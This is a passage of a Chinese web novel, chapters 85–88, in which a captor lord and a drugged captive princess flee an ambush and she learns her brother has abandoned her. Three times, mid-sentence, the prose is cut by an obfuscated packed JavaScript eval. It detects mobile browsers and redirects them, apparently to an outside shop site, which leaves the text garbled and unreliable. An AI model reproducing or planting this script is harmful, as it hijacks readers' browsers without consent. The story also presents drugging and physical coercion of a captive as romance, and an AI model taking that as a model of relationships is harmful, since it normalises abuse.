他转身出了马车,大步走开一段距离,这才从腰间抽出大刀,神情狠厉地冲着路边岩石一阵劈砍,臂力大到将一块硕大的石头砍成了一堆石块,终于才停下了手,以刀拄地,大口大口喘着粗气。 看他冷静一些了,黑塔这才敢磨磨蹭蹭地上前。他低声提议:“郎主,不然我让塞里去陪着她?” 延陵宗隐没有立即回答。待呼吸渐渐平稳,他又愤愤挥刀扫落一片树叶草屑,这才转身,黑眸中已恢复了冷静。 “不必了,”他看向马车,沉声道,“别去打扰她,让她自己待一会儿吧。” 85. 第 85 章 纯懿和延陵宗隐之间好不容易和缓一些的气氛,再次紧张了起来。 痛快的哭了一场之后,纯懿对待延陵宗隐只有一个态度:无视。不管延陵宗隐是刻意逗她,还是阴阳怪气嘲讽她,又或者是故作生气地吼她,纯懿通通都只继续自顾自做自己的事。就是无事可做时,她宁愿盯着虚空出神,也不会给延陵宗隐哪怕一个眼风,仿佛他是一个上蹿下跳的杂耍戏子般,将他忽视得彻彻底底。 延陵宗隐气得好多次摔帘而出,然后一路上,又有不少石块遭了秧。 气归气,路还是要继续一起走的。在延陵宗隐又一次被纯懿气得狠了,出去找无辜的石块撒气时,无意从路过的行人那儿听了一耳朵,说从这里出发,向东南方向走上十里处,有一座神山,据说曾有佛陀在那里留下脚印,钟灵毓秀,风景如画,是一个放松怡情的好地方。 延陵宗隐阴沉着脸回了马车,硬邦邦地开口:“前面有座山,明日我们得翻过山,才能继续前行。” 然后又刻意补了一句:“别老是这副死样子,若是惹爷不高兴了,小心爷把你从山上扔下去。” 纯懿低着头磨指甲,连睫毛都没动一下。 又把延陵宗隐气走了。 第二日,车队偷偷摸摸地转了方向,朝着东南方向前行,待到中午阳光正好时,抵达了佛印山下。纯懿顺从地任由延陵宗隐将她半拉半抱起来,揽在怀里带出了马车,然后两人一起踏上蜿蜒的石阶,朝着山上缓缓行去。 这佛印山果然名不虚传,虽然已经到了夏末,满山的花却开得正是绚烂,路两边的树叶绿得深深浅浅,再配上湛蓝的天空和棉絮一般的云朵,美的像是一幅色彩浓烈的画。就连心情不佳的纯懿都不由渐渐看入了神,虽然面容仍是紧绷着,可灵动四顾的眼眸和间或露出的清浅笑容,还是被延陵宗隐看了个正着。 他不由心下自得,却仍努力板着脸,不住下压着总是想要上翘的唇角。 纯懿到底是身子瘦弱,软骨散的药性又让她脚下发虚,只顾着四处欣赏美景时,绣鞋一不留神就踩上了一块有些松动的石板,当即就一个踉跄,整个人猝不及防地滑了下去,差点顺着台阶滚落下山。 幸亏旁边的延陵宗隐眼疾手快,他一只大掌反身一勾,牢牢环抱住纯懿的腰身,将她紧贴在自己胸膛,另一只手则虚虚护在她的身后,以防纯懿真滚下去时还可以接住她。 纯懿也是结结实实被惊了一跳。她还不想死,骤然失去平衡时,下意识就将双手揽上了延陵宗隐的脖颈,像是抱住救命稻草一般紧紧圈着他的身体,整个人几乎是吊在延陵宗隐身上。 两人四目相对,都从对方的眸子中看到了自己的影子。 纯懿身上浅淡的香气丝丝缕缕钻进延陵宗隐的鼻子里,她眼中的自己让他终于再也压抑不住笑容。延陵宗隐不顾纯懿的挣扎,将另一只大掌也按上她的脊背,强迫她更加贴近自己,然后俯下身子,双唇靠近她的侧脸,若有若无地碰触她洁白的耳垂,低沉的声音中带着明显的笑意: “露陌娘子这么主动的吗?” 露陌娘子? 纯懿一时竟没反应过来延陵宗隐在喊谁。她将这个有些熟悉的名字在脑中重复几次,才恍然明白过来。 露陌,徐露陌,这是她的名字。 自从五岁被封为纯懿帝姬,大家都喊她纯懿,徐露陌这个名字就渐渐无人提起,湮没在幼时的记忆之中,甚至连她自己都忘了,在成为纯懿之前,她其实是露陌,徐露陌。 可是,这个连她自己都快要忘记的名字,延陵宗隐是怎么知道的?她不再是纯懿了,所以,他就为她找回了这个暌违已久的身份吗? 纯懿目光复杂看着面前的延陵宗隐,一时竟不知道要说些什么。 这个名字自然是延陵宗隐从大庆玉牒上一页一页找出来的。自喊出这个名字,延陵宗隐也小心观察着纯懿的脸色,此刻发现她面上只有惊讶,没有恼怒,不由暗暗松了口气。 然后就挂着一幅吊儿郎当的笑容,故意加重语气,来回重复了好几次“露陌”,一直到纯懿面上显出几分恼意,延陵宗隐这才见好就收,挑眉问道:“你这名字什么意思啊?” 他阴沉着脸的样子惹人讨厌,这副纨绔调笑的样子更加讨厌。纯懿翻了个白眼,就转开视线,试图推开延陵宗隐亲昵的搂抱。 延陵宗隐自然不肯这样遂她的愿。他两只健壮的胳膊一个收拢,纯懿就像一只小鸡仔儿一样,被箍在他的怀里动弹不得。 延陵宗隐瞪着眼睛吓唬她:“说不说?” 纯懿不甘示弱地瞪回去:“不说!” 然后又气哼哼的补充:“你也没告诉过我你的名字是什么意思,凭什么我要告诉你?” 这还是纯懿这几天以来第一次开口对他说话。延陵宗隐心情大好,自动忽视了她话语中的恼意,反而饶有介是地点头:“也对。我有个叫肃鹴的名字,你知道吧?” 他扬眉,带着种欲盖弥彰的自豪:“我自己起的。我的封地在西边,鹔鹴是西方神鸟,翅膀展开遮天蔽日,气派的很。也就这种大鸟,才能配得上爷的身份。” 鹔鹴鸟,上古五种凤凰神鸟之一,纯懿当然知道。她还知道有一句话,叫做“鹔鹴飞则陨霜”,鹔鹴出现,则天下降霜。 而霜,就是落下的露。 纯懿不由扯唇,露出个满是自嘲和无奈的笑:倒是真准。 延陵宗隐自觉这下有了底气,很不客气地催促:“该你了。” 纯懿不想说。她眼睛一转,看向延陵宗隐:“别拿什么大鸟哄我。你不是叫延陵宗隐吗?怎么不说说宗隐是什么意思?” 这次延陵宗隐却沉默了。他眸中笑意渐渐消退,最后恢复成深不见底的一汪黑谭,将所有情绪都遮掩其下。然后,他紧压着纯懿的双手挪到她肩头,将她从自己怀里挖出来,扶着她在台阶上站稳。 “走吧。”他避开纯懿的视线抬头去看太阳,对她示意,“登顶还有很远,抓紧时间。” 纯懿被他半扶半抱带着继续登山,侧眸望去,只能看到延陵宗隐紧绷的下颌。他的异常太过明显,纯懿心中微微一动,思绪急转,很快就拿定了主意。 在开口之前,纯懿也有些犹豫,可只短暂一瞬的迟疑之后,她还是强迫自己硬下心肠,故意装出一副好奇的样子: “堂堂草原狼主竟然还害羞?说说嘛,宗隐是什么意思?隐……隐天动地,希望你做出一番大事?探赜索隐,希望你学识渊博?或者是……佩苍龙,带隐虹,希望你荣耀尊贵?” 延陵宗隐喉结上下滚动,双唇抿得更紧了。他淡淡瞥纯懿一眼,再开口时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495743|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音已经是明显压抑着什么的低沉:“不想我把你推下去,就闭嘴。” 纯懿悻悻住了嘴,小声嘟囔:“火气怎么这么大。凶什么凶?” 两人沉默着又走了一段路,纯懿故意耷拉着脸,摆出一副兴致缺缺的模样,连风景都不太看了。然后再走几步,她就停下了步子,开口说要回去。 延陵宗隐阴沉着脸警告她:“别得寸进尺。” “你也别自视太高。”纯懿格外的伶牙俐齿,“因为你,我没了父母,没了故国,好不容易找到了疼我的皇兄和知心的姐妹,现在他们也都没了。我现在已经一无所有,叫纯懿还是叫徐露陌,又有什么关系?别以为你给我找个身份,就能弥补你做的一切,还用什么大鸟哄骗我……怎么,现在还不许我生气了?” 延陵宗隐咬牙。眼前这个一恢复些精神就跟他呛声的女人,一有机会就想做点儿什么的女人,他真是恨不得将她从山上丢下去,一了百了。 颊边肌肉抽动几下,延陵宗隐忽然开口:“人生在世,本来就是一无所有。” 他避开纯懿的视线,看向旁边一课葱茏茂密的树:“我父王从来风流,看上我母亲美貌,将她强抢进宫据为己有,快活几次之后有了更可心的美人,就将她抛之脑后。当然了,” 他将目光转回纯懿身上,轻轻勾唇,露出一个微笑:“……还有我。母亲被迫生下我,郁郁寡欢又凄惨度日,很快就死了。她死之后,我那父王更记不得我了,衣裳伙食全是没有的,我就靠着去抢比我还要弱小的弟弟妹妹活着,一直抢到被宫内侍卫痛揍一顿,拖到我父王面前。” “隐,是隐藏、隐瞒、不想让人知道。或者你理解成同情怜悯也可以。” 短短几句话,就是他的前半生。 纯懿从没想过,看起来狂妄强悍的延陵宗隐,竟然有这样的童年。她心尖微颤。不由追问:“你抢了你的弟弟妹妹,那他们怎么办?” “他们去抢更弱的,抢不到的,就死了。”延陵宗隐神情平静,语气也是毫无波澜,却透出让人心惊的淡漠凉薄,“弱肉强食,胜者为王。” 纯懿并不能认同他得出的结论,却有些理解了他的逻辑:“所以在海云寺,你看到我们在佛前祈愿,才那么不屑一顾?” “我从来不信神佛。我只信我自己。”延陵宗隐抬起眼皮,黑黝黝的眸子直直看向纯懿,视线陡然锐利,“所以,徐露陌,你最好把你那些小心思都收起来,别总把我当成傻子来试探,更别因为我纵容你而试图拿捏我。我强,你弱,所以……” 他的狠话被一支突如其来的箭簇打断。紧接着,一大片羽箭朝着他们兜头覆下,封住了他们每一条脱身的路,将他们困在陡峭又狭窄的山腰台阶之上。 延陵宗隐大刀已经出鞘。他单手持刀,手臂上结实的肌肉尽数暴起,大力挥舞出一片细密的网,将射向他们的每一支箭都狠狠斩为两段。 而他的另一只手却轻柔揽在纯懿腰间,将她推入自己背后的阴影之中,用自己的身体作为阻隔在她与刀光剑影之间的盾,为她挡下所有凌冽杀机。 纯懿看着延陵宗隐的背影,又看看落在她脚下的形制熟悉的箭头,忽然笑了。 她凑近延陵宗隐宽阔的肩膀,轻声开口:“你强,我弱,可是怎么办,比你更强的人来了。” 86. 第 86 章 身边护卫着他们的人一个一个脱队离开,用一场场奋勇拼杀为他们争取突围的时间。纯懿伏在延陵宗隐背上,被他背着快速前进,却一直扭头向后张望,紧张地关注着后面的战况。 延陵宗隐将她往自己背上颠了一颠,一只手紧握大刀,另一只手牢牢把着她的腿弯,目光锋利而坚定地盯着前方,却开口冷声对着纯懿说话:“别乱动,小心摔下去。” 纯懿被颠得身体起伏,连声音也是一颤一颤的:“与其这么被撵着跑,还不如把我交还给我皇兄,宗隐郞主你觉得呢?” 延陵宗隐嗤笑。他又将纯懿向上托了托,不容辩驳地开口:“若真是他,我更不会把你交回去,你就死了这条心吧。” 那箭头明明就是她熟悉的南庆军中制式,来的人定是徐结无疑。纯懿心急如焚,又恼恨于自己浑身无力,这么好的机会都送到了眼前,她却连挣脱逃跑的力气都没有,只能被迫随着延陵宗隐一起,被追得满山乱跑。 对方显然是打定了主意要在这里杀了他们,派来的人极多,延陵宗隐的小队人马撒入他们之间,很快就淹没其中,消失不见。没一会儿,延陵宗隐和纯懿身边只剩下黑塔一个人,而身后的追兵已经又紧紧跟了上来,喊杀声几乎就在耳边。 黑塔扭头看了一眼,紧跑两步,追到延陵宗隐身边,粗声粗气地:“郞主……” 延陵宗隐知道情况紧急。他侧头看了黑塔一眼,沉声道:“小心。” 黑塔点头,就慢下了步子。延陵宗隐背着纯懿继续向前狂奔,而他则转身,独自面对着追来的密密麻麻的死侍,仰天大笑几声,然后一声大喝,高举着大刀,就冲入了敌阵,魁梧的身躯很快就消失在纯懿的视线中。 不知怎地,纯懿觉得有些悲凉。从她的角度,只能看到延陵宗隐高挺的鼻梁、漆黑的鬓角和紧绷的下颌,她便盯着延陵宗隐脸侧泛着微青的胡茬,轻声开口:“值得吗?” 她没说问的是什么值得,延陵宗隐却明白她的意思。他敏捷旋身,躲开朝着他们飞来的一支羽箭,冷声道:“谁连累谁还不一定呢,别把自己看得那么重要。” 纯懿瞪他一眼,不想说话了。 延陵宗隐也闭唇不言,负着她一头撞进山上密林中,在各种树木怪石间灵巧穿梭,丝毫没放慢速度的情况下,他竟然还有余心去挑拣没刺没藤蔓的路去走。有时遇到凸出来或是垂下去的障碍,他便适时俯身躲避,或是用自己的身体生生硬撞过去,竟然没让纯懿受一点儿伤。 后面的追兵也跟着钻了进来,可复杂的地形阻碍了他们的行动,也让他们再无法形成有效的团队战力。延陵宗隐压力陡然减轻不少,侧头扫纯懿一样,微带喘息:“受伤了没?” 有延陵宗隐在前面开路,纯懿自然是没受伤,可她的心情也没那么愉悦。眼看着皇兄派来的人被甩得越来越远,她也越来越焦躁,立刻将延陵宗隐刚刚的警告都抛在脑后。 她得想个办法,拖延住延陵宗隐的脚步。 纯懿一边努力回想着与贤宁一起操练陆家军的时候,贤宁教过她的动作要领,一边状若无意地将双臂缠绕上延陵宗隐的脖颈,把自己的整个身子和脑袋都紧贴在延陵宗隐宽阔的后背。 延陵宗隐感受到了她突如其来的亲昵。他唇角不由抽动两下,努力了半晌才将总是想翘起的唇角强压下去,回头说话时的语气却柔和了不少:“怕了?早干什么去……” 他未尽的话戛然而止,纯懿的双臂忽然猛地使力,从后紧紧勒住他的脖颈。她本就用了全部的力气,却还怕不够,便将伏在他背上的身体使劲后坠,借助整个身子的重量向后下方绞拽他。 这一招是贤宁教她的,说是不必有多大的力气,只要方法对了,放倒一个彪形大汉也不在话下。 延陵宗隐果然顿时脸色涨红,血色飞快从他的双唇褪下,泛着些微的青灰。他一双大掌下意识地环握住纯懿纤弱的手臂,全身肌肉紧绷,就要蓄力将她甩飞出去。 就在发力的前一刻,延陵宗隐已经因难以呼吸而有些昏沉的脑中却猛然划过一丝清明:他背后的是纯懿。这个女人简直是可恶至极,可若是真将她掀开,以她那瘦弱的小身板,恐怕也就没命了。 最后还是换了种方法。延陵宗隐抓住纯懿的双臂,脚下灵活一个旋步,脖颈就在她合围的臂弯中转了一圈,变成与纯懿面对着面、鼻尖抵着鼻尖。而纯懿施加在他脖间的禁锢也同时松快了许多,空气重新进入延陵宗隐的喉管,让他终于可以再次呼吸。 他咬牙切齿地:“徐、露、陌!” 纯懿还在咬牙努力,眼前一花,延陵宗隐放大的五官就已经出现在她面前,黑眸深沉幽暗,满是阴鸷地盯着她,吓得她顿时一个激灵,下意识便后仰身子,想要从这样的目光中逃开。 然后她就失了平衡。眼看着纯懿要坠落于地,延陵宗隐皱着眉伸手去捞她,脚下一个不稳,一步踩空,两人的身子就纠缠着一起猛然下坠,重重跌入一个深坑,激起一阵土石。 纯懿趴在延陵宗隐的胸膛上,一颗心跳的极快。就是延陵宗隐的身躯帮她抵消了大部分的冲击,让她得以除了些擦伤外再没别的伤口,她仍是被这突如其来的失重吓了一跳。 而延陵宗隐的情况就比纯懿要严重许多了。这大概是附近猎户设下的捕猎陷阱,上面覆着一层伪装的树枝落叶,坑底还立了不少尖锐的木刺。延陵宗隐虽然在下坠时就敏锐发觉了这一点,可因着纯懿就在他身旁,他避无可避,右腿便直直砸在一根木刺上,被捅了个对穿。 尖锐的疼痛一阵一阵传来,延陵宗隐额上青筋暴起,却一声痛呼都没有。他只抬了抬肩膀,让趴在他胸膛上的纯懿身子一颤,简明扼要地命令:“下去。” 纯懿回过神,颇有些手忙脚乱地想要从延陵宗隐身上离开,他的大掌却忽然扶在她的大腿旁侧,阻止了她胡乱扑腾的两条细腿。 延陵宗隐语气不太好,很是不耐烦地:“小心点。” 顺着他的视线看去,纯懿这才发现坑底那些尖锐的木刺,和延陵宗隐已经鲜血淋漓的右腿。她冰雪聪明,立刻就明白他是为了护着自己才受伤的,心中罕见地升起些对他的愧疚来。 “你这……”突然见到这么多血,纯懿有些手足无措,一双手抖着想要去抚摸他的伤腿,却生怕碰到他的伤口,只能求助地看向延陵宗隐,“怎么办,要先止血还是先把这木头砍断?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508738|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>延陵宗隐缓缓坐起身,探身去查看腿上的伤口。他的额上已经密布了一层细细的汗珠,脖颈上青色的血管鼓起,受伤的右腿控制不住地微微颤抖,显然是痛极。 可他的神情却没有丝毫变化,冷静无波、平静淡漠到仿佛受伤的不是他自己的腿一般,这般忍耐力,让纯懿不由对他肃然起敬。 延陵宗隐检查了一番,将视线从伤口落到纯懿身上,声线也是平稳如常的:“转过身去。” 纯懿傻呵呵地瞪大了眼睛:“什么?” 延陵宗隐颇有些无语。“转过身去,”他重复一次,“别看。” “哦。”纯懿莫名听话,乖乖就要转身,可猛然意识到什么,又急忙将转了一半的身子重新转回来,“你要自己处理伤口吗?” 延陵宗隐定定看她,没有说话,微抬下颌冲着她背后示意。 “我帮你。”纯懿没有如他所吩咐的那般转身,反而还更凑近了一些,很是诚恳地道,“这么重的伤,你自己不好处理的,想去包扎伤口都难……” 延陵宗隐很是坚持:“不必那么麻烦,我自己来。” 纯懿的犟劲儿上来了。她两根指头不知何时已经紧攥住延陵宗隐的衣摆,毫不退让地与他对视,比他还要坚持:“让我来。” 两人大眼瞪小眼了好一会儿,一直到因着失血过多,延陵宗隐都有些头晕的时候,他终于先败下阵来。 “随便你,”延陵宗隐没好气地甩开纯懿的手指头,双臂撑住地面,最后一次警告她,“被吓到了可别哭。” “我才不会吓……啊!” 纯懿话才说了一半就倒抽一口冷气,双唇大张着,合都合不拢,两个眼珠子快要从眼眶里瞪出来,看看延陵宗隐已经与那木刺分开的右腿,又看看他镇定自若的神情,几乎不敢相信自己的眼睛。 延陵宗隐,他刚刚,竟然就那么生生把自己的腿给拔出来了! 纯懿对他的强悍和狠厉又有了新的认识。 右腿得了自由,延陵宗隐动作娴熟,只简单用里衣捆扎住伤口,然后就扶着坑壁站了起来,拖着那条伤腿四处巡走观察。走了一圈,他回到纯懿身边,一张脸阴沉地仿佛能滴出水来,一双黑黝黝的眸子定定盯了纯懿许久,忽然抬起一根手指,上身倾斜,直直逼向纯懿的鼻尖:“你!” 纯懿上身后仰,紧闭着眼扭过脸,躲开他气势汹汹的一指。 她其实已经有了心理准备。这坑壁很高,若是延陵宗隐没有受伤,以他的武艺,倒是有很大可能出去,可他现在右腿接近残废,只凭着一条独腿,要想出去是难于登天。 这事儿是她的锅,她无话可说。 延陵宗隐气闷了半晌,看纯懿一副引颈受戮的就义表情,那火又发不出来,最后猛地将大掌扣上纯懿的脑袋,愤愤将她头发揉乱,全当出了一口气。 “过来,踩我身上,”延陵宗隐没好气地弯下一条膝盖,半跪在她面前,“我撑你上去。” 纯懿这下是真惊了。她指指着自己:“我?” “对,黑塔他们应该到附近了。”跪下的延陵宗隐只到纯懿胸口,他抬起眼眸,平静看着她,“你去喊人,我在这里等你回来。” 87. 第 87 章 纯懿无论如何都不敢相信,“你去喊人,我在这里等你回来”这种舍已为人的话是延陵宗隐说出来的。 她很是狐疑地看着他:“你是不是想杀了我,但是又不想亲自动手,所以让我自个儿出去?然后等我出去走上一步,就会被谁给砍了?” 延陵宗隐阴沉着脸,面无表情盯了纯懿一会儿,被气笑了,牵动身上伤口,轻“嘶”一声咬牙忍着,待疼痛感过去,才没好气地回:“你有病还是我有病?” 纯懿被凶了,缩了缩脖子,可还是觉得哪里不对劲。她非常直接地提出自己的疑问:“那你就不怕我跑了?毕竟……” 纯懿适时噤声,不过未尽之意,两人都心知肚明。 “我的伤是因为谁?”延陵宗隐朝着伤口的方向轻轻点头,示意纯懿看看他血肉模糊的右腿,“你要是不回来,黑塔他们也没能及时找到我,我恐怕就要死在这里了。你不是最善良最好心的吗?你就忍心看我死吗?” 还没等纯懿回答,延陵宗隐忽然改口,无奈摇头:“不过也是,那是你对别人。对于我,你从来都是恨不得我赶紧死的。” 纯懿凉凉看他:“你倒是很是自知之明。” 延陵宗隐看她一会儿,开始艰难地挪动身子:“不然还是算了,我改主意了,你就留在这里陪我。就是我要死了,只剩最后一口气,我也能砍了你,把你带到地下陪我的。” 纯懿看延陵宗隐单手撑着坑壁,胳膊上肌肉隆起,看着真的是要起身的样子,纯懿急忙一把将他的大掌扯下来,然后开始蹲下身子系裙角。 “看什么?”她看着延陵宗隐半跪着向她望过来的目光,系住最后一个衣结,双手拍在延陵宗隐宽阔有力的肩膀上,敦促他,“赶紧着趴好,我踩哪儿?” 延陵宗隐到底是延陵宗隐,就是废了一条腿,他也能连推带举的,硬是将纯懿给送了出去。纯懿连滚带爬地重回地面,回头去看仍站在坑底的延陵宗隐,第一次觉得她面前的他那么渺小。 延陵宗隐刚刚应该是废了不少力气,整个人斜斜靠在坑壁上,右腿悬空支着,只剩一条腿撑着全身的重量,整个身子都在几不可察地颤抖。看到上方的纯懿回头,他露出一个笑容来,对着她微微颔首。 “去吧,”他说,“我在这里等你回来。” 纯懿沉默一会儿,点点头,然后转过身,毫不迟疑地离开了。 纯懿的身影刚一消失,延陵宗隐刚刚还挺立的身子忽地歪斜,整个人狼狈地摔倒在坑底。他的脸上终于露出了些痛苦之色,不管重新渗出血色的右腿,反而将左臂缓缓探入衣襟,用力一拨,外袍连带着内衫便一起褪到他肩下,露出已经被血染透的右肩和后背。 三根尖锐的木刺深陷在他的皮肉里,捅穿了他的右侧肩胛和后背,后来托举纯懿时又受了压迫,现在那三根木刺已经与血肉绞在一起,看着着实可怕。 他刚刚一直表现的若无其事,还说着“只剩最后一口气也能砍了她”的狠话,可其实,现在的他连刀都提不起来了。 延陵宗隐咬牙又撕下一条衣衫,艰难地单手为自己包扎。他一边用力拽紧布条压迫止血,一边狠狠地想:如果那个狠心的女人发现,他受的伤其实这么重,甚至已经难以压制她,她是会如之前一般愧疚地来为他包扎,还是会干脆提起他的大刀,趁着现在的机会砍了他? 他希望是前者,可他知道,更大可能是后者。 她跑不远的。他一会儿就去逮她回来。 纯懿独自在树林中跌跌撞撞地奔跑,说是奔跑,其实不过是踉跄前行罢了。延陵宗隐喂给她的软骨散药效强劲,她就是拼了全力,也只能凭着记忆在林中穿梭,甚至都还没能找到她在来的路上暗中记下的那座小庙。 她还是非常怀疑延陵宗隐放她离开的动机,现在的她却已经顾不得那么多。皇兄派人追来了,他一定是发现了不对劲,来救她回去的。 她得去找他们,让他们带她回去找皇兄。 想到与延陵宗隐对望的最后那一眼和他血淋淋的右腿,纯懿心中不是没有过犹豫和愧疚,可想要回家的念头还是压过了一切。她只能将全部注意力都放在未卜的前路上,将脑海中那个小小的身影挥到角落里去,刻意不要再想起。 大概是她执念太深,连天上神佛都在帮她,纯懿刚转过一个弯,就看到了几个身着煤竹色劲装的年轻男人站在一起,那身上服制,是她再熟悉不过的宫中皇家卫侍,她曾经在父皇和亲兄身边见过许多次,而现在南庆有资格命令他们的,也就是新皇徐结了。 纯懿大喜过望。她朝着他们飞奔而去,迫不及待地开口:“是皇兄让你们来的吗?” 那几个男人互相对视了一眼。领头的那个看着面前活生生的纯懿,没有任何惊讶之色,只是稍有些犹豫,迟疑一会儿后才微微倾身,口中称呼:“娘子。” 可这已足以让纯懿激动万分了。她急切道:“那我们赶快走吧,延陵宗隐的亲卫就在附近,他们战力很强,我们还是避开为好。” 一边说着,一边拔腿就走。 可那几个男人却丝毫不动。纯懿都走到了他们前面,有些疑惑地回头看他们,那小头领才顶着一张漠然的脸,声线平和地开口:“我们的任务,是确认娘子离开南庆边境。” 纯懿一时有些反应不过来。她又疑惑又着急,开口时语速极快:“皇兄既然让你们来保护我离开,说明他是信任我的!只要他相信我就是纯懿帝姬,愿意帮助我,我有办法证明我的身份,我自然要回去!我们快走吧,别让皇兄等着急了。” 纯懿急得要命,那几个男人却依旧没有一点儿要出发的意思,仿佛双脚钉在了地上一般,就连毫无表情的脸色和语气都与之前别无二致:“我们的任务,是确认娘子离开南庆边境。” 他们又重复了这句话。徐结让他们确认她离开南庆边境,这是什么意思? 纯懿维持着那个半回身的姿势,呆呆站在原地,看着面前这些皇家卫侍们冷漠的脸,心中忽然升起一个可怕的猜测。然后,寒气从脚底升起,顺着她全身血脉迅速向上蜿蜒,让她仿佛刹那间置身于寒天腊月,体冷心寒的可怕。 双方隔了几步远沉默对望,却似乎隔着一道再也跨不过的鸿沟。 当延陵宗隐赶来时,纯懿双臂抱膝坐在地上,脸埋在臂弯之中,将自己缩成一个小小的团,全身都在轻轻地战栗。 延陵宗隐脚步微顿,黑眸眯起,犀利的视线从站在她不远处的南庆卫侍身上一一扫过,立刻就猜出了不久前这里发生了什么。他的眼中陡然带上了杀意,满含戾气地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519350|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯上那个站在最前的头领,像是一只正在磨牙的被激怒的野兽,下一刻就会扑上来,将他们撕成碎片。 那几人下意识后退一步,纷纷垂头避开延陵宗隐的目光。 延陵宗隐的确是很想杀了他们,可他更想杀的是那个临安皇座上的男人。临走之前他已经万般警告,让徐结把自己的尾巴藏好一点,却没想到徐结如此没用,生生派人追过来还暴露了踪迹,最后还是被纯懿发现了端倪。 他顾不上管那几个有些畏缩的卫侍,大步朝着纯懿而去,然后弯下一只膝盖,再次半跪在她面前。而这一次,他没有扶着她踩上自己的肩膀,而是带着一种不容拒绝的强势,展臂将纯懿用力压入怀中。 纯懿倒入延陵宗隐臂弯之中,像一只受伤的小兽,在他怀里呜咽着挣扎,间或碰到他的伤口,很疼。 可延陵宗隐却用更加用力地将她锁在自己胸前,双唇紧抿着,一句话也没说,只一只手牢牢按着她后颈,另一只大掌有些笨拙地学着他曾经见过的,奶嬷嬷照顾大哭不止的婴孩的模样,一下一下轻拍她的脊背,力道是从未有过的温柔。 可能是这一招的确有用,纯懿渐渐止住了抽噎,眼泪还不停地流,却飞快将一张小脸扭到另一边,只留给那几个卫侍一个后脑。 延陵宗隐将她的小动作都看在眼里。他也瞥了那边的南庆卫侍一眼,忽然站起身,将纯懿打横抱了起来,还刻意将纯懿的双脚朝向他们那边,用自己的身体遮住他们窥探的目光,带着纯懿大步离开。 他的右腿还有伤,走起路来一瘸一拐,有些不稳当,可他的步子却很大,一步一步都很坚定,像是纯懿身边坚不可摧的护法一般,牢牢守在她身边,带她走出那些人的视线。 枝条藤蔓从两人身边垂下,花朵在他们脚边开得绚烂,延陵宗隐和纯懿沉默着穿过树林,迈过根桠,周围除了鸟儿激起回声的欢快鸣叫之外,就只有沙沙的脚步声,整个世界都安静得似乎只剩了他们两个。 纯懿开口时还带着鼻音:“为什么不告诉我?” 沉默。延陵宗隐有些生硬地反问:“告诉你什么?” “我的皇兄……”纯懿一顿,再开口时,已换了称呼,“陛下早就打算要放弃我了。” 这次的沉默时间更长。就在纯懿以为延陵宗隐不会回答的时候,他的声音响起,低沉的,微微沙哑:“你会伤心的。” 纯懿怔了一下,抬头看着延陵宗隐紧绷的下颌,忽然笑了。她的笑声低低的,有些自嘲,更多的是叹息:“好不容易做一次好事,还生怕别人知道。怪不得大家都说你是坏人。” 延陵宗隐轻嗤,这次是真的不打算开口了。纯懿安静了一会儿,将脸埋在他的胸膛,声音瓮瓮的,没头没脑地道:“我想我父皇、母后和皇兄了。我的亲阿兄,大庆末帝。” “他们在五国城过得还不错。” “我可以去看看他们吗?” “……你会伤心的。” “可是我想他们了。”纯懿抬起一双湿漉漉的眼眸,仰头看着延陵宗隐,“我已经很久没有见过他们了。我真的很想他们,很想很想。” 延陵宗隐脚步微顿。他低头,看着纯懿红肿的双眼和强挤出的难看笑容,双手紧了紧。 “我们回虞娄去。” 88. 第 88 章 虞娄的气候仍如记忆中一般寒凉,几乎位于虞娄最北端的五国城尤是如此,就是在夏末秋初,在旧日汴京还处于秋闷之时,这里已经是冷风瑟瑟,早晚出门时,身上须得披上厚实的棉衣或皮毛,才能给身体保留一些暖意。 纯懿就在这样一个冷得出奇的秋日,见到了阔别已久的父母亲兄。 五国城本来就不大,可与专为二帝及他们的随员划出的居住区域相比,已经算是他们无法畅游的广阔天地了。纯懿站在五国城墙上一处专为了监视二帝住所所建的高台之上,居高远眺,遥遥望着那些行动缓慢的人和他们熟悉又陌生的脸,身子控制不住地微微颤抖。 延陵宗隐扫她一眼,默不作声对着身后示意,黑塔领悟,很快就取了一张洁白蓬松的狐裘来。延陵宗隐将狐裘密密实实裹在她身上,大掌细致地在她脖间按了又按,只留一张小脸裸露在外,在毛茸茸的狐绒衬托下,显得格外娇小精致。 可纯懿仍觉得冷。秋风一阵一阵吹来,刺骨得寒凉。 她开口的声音很轻,快要消散在风中:“只剩他们了吗?” 延陵宗隐也朝着那边看去,努力不让自己的蔑视之意表露出来:“对。” 